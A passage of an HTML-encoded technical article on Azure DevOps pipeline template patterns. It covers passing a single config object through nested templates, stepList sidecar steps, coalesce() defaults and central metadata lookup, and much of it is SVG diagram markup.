string parameters, declare a single \u003ccode\u003eobject\u003c/code\u003e named \u003ccode\u003econfig\u003c/code\u003e (or \u003ccode\u003epayload\u003c/code\u003e). Intermediate templates simply pass this object through without needing to know its internal schema.\u003c/p\u003e\n\u003ch4 id=\"the-object-payload-pattern-the-solution\"\u003eThe Object Payload Pattern (The Solution)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 520 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 248,144 L 264,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,32 L 104,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,96 L 104,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,160 L 104,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,48.000000 100.000000,42.400002 100.000000,53.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,112.000000 100.000000,106.400002 100.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,176.000000 100.000000,170.399994 100.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='256.000000,144.000000 244.000000,138.399994 244.000000,149.600006' fill='currentColor' transform='rotate(180.000000, 248.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='244' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='148' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='148' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='148' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='148' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Intermediate Template: job.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Pass the entire bundle\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eInside the leaf template, you access the properties you need via dot notation: \u003ccode\u003e${{ parameters.config.deploy.region }}\u003c/code\u003e. This pattern allows your leaf tasks to evolve—adding new properties as needed—without ever breaking the signature of your higher-level orchestrators.\u003c/p\u003e\n\u003ch3 id=\"22-strong-typing-with-steplist-and-joblist\"\u003e2.2: Strong Typing with \u003ccode\u003estepList\u003c/code\u003e and \u003ccode\u003ejobList\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eYou can also pass entire blocks of code as objects. The \u0026ldquo;Sidecar Injection\u0026rdquo; pattern allows users to pass a \u003ccode\u003estepList\u003c/code\u003e of custom tasks that are executed alongside standard platform logic. This provides flexibility while keeping the core governance steps under platform control.\u003c/p\u003e\n\u003ch2 id=\"3-pattern-2-the-smart-default-framework\"\u003e3. Pattern 2: The \u0026ldquo;Smart Default\u0026rdquo; Framework\u003c/h2\u003e\n\u003cp\u003eGovernance requires consistency, but developers need flexibility. The \u0026ldquo;Smart Default\u0026rdquo; pattern uses logic to provide safe fallbacks.\u003c/p\u003e\n\u003ch3 id=\"31-coalescing-values\"\u003e3.1: Coalescing Values\u003c/h3\u003e\n\u003cp\u003eThe \u003ccode\u003ecoalesce()\u003c/code\u003e function is essential for handling optional parameters. It evaluates a list from left to right and returns the first value that is not null or an empty string.\n\u003ccode\u003etimeout: ${{ coalesce(parameters.timeout, variables.globalTimeout, 60) }}\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eImportant Note:\u003c/strong\u003e In the Azure DevOps engine, the empty string \u003ccode\u003e''\u003c/code\u003e is treated as a null value by \u003ccode\u003ecoalesce\u003c/code\u003e, causing it to skip to the next candidate. This ensures your templates have a reliable baseline without forcing the user to provide a value for every possible configuration.\u003c/p\u003e\n\u003ch3 id=\"32-centralized-metadata-mapping\"\u003e3.2: Centralized Metadata Mapping\u003c/h3\u003e\n\u003cp\u003eInstead of asking a user for 15 different IDs (Subscription ID, Tenant ID, VNet ID), ask for a single \u003ccode\u003eenvironment\u003c/code\u003e name. Use a central \u0026ldquo;Constants\u0026rdquo; template to look up the complex metadata object based on that name. This centers the source of truth in one file and reduces the user\u0026rsquo;s input surface area by 90%.\u003c/p\u003e\n\u003ch4 id=\"centralized-metadata-mapping-smart-defaults\"\u003eCentralized Metadata Mapping (Smart Defaults)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 632 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 328,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,96 L 576,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 328,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,16 L 80,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,32 L 80,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,96 L 336,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,168 L 336,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,16 L 584,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,176.000000 84.000000,170.399994 84.000000,181.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,48.000000 324.000000,42.400002 324.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='584.000000,96.000000 572.000000,90.400002 572.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 576.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='80' cy='32' r='6' 